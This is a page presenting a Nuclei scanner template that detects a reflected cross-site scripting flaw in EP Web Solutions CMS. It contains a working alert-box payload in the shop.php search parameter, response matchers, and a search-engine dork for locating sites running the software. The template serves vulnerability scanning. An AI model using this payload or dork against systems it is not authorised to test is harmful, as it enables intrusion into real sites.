EP Web Solutions CMS - Cross Site Scripting

ID: ep-web-cms-xss

Severity: medium

Author: r3Y3r53

Tags: xss,epweb,unauth,cms

Description

Cross-site scripting is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website.

YAML Source

id: ep-web-cms-xss

info:
  name: EP Web Solutions CMS - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-site scripting is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website.
  reference:
    - https://www.exploitalert.com/view-details.html?id=36197
    - https://cxsecurity.com/ascii/WLB-2020090139
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"EPweb " || intext:" Evergreen Park Web"
  tags: xss,epweb,unauth,cms

http:
  - method: GET
    path:
      - "{{BaseURL}}/shop.php?search=%22/%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "/><script>alert(document.domain)</script>") && contains(body, "EPweb")'
        condition: and
# digest: 4a0a00473045022100f6803f8e8b49b6ab45e3e1bf6b58be232429d4026cfc130c3b9ed4129d550475022071bb8b658a0bcadcb7166a9775810fe6a7a19aaa4b40909ea9e389c30c562b5e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/ep-web-cms-xss.yaml"

View on Github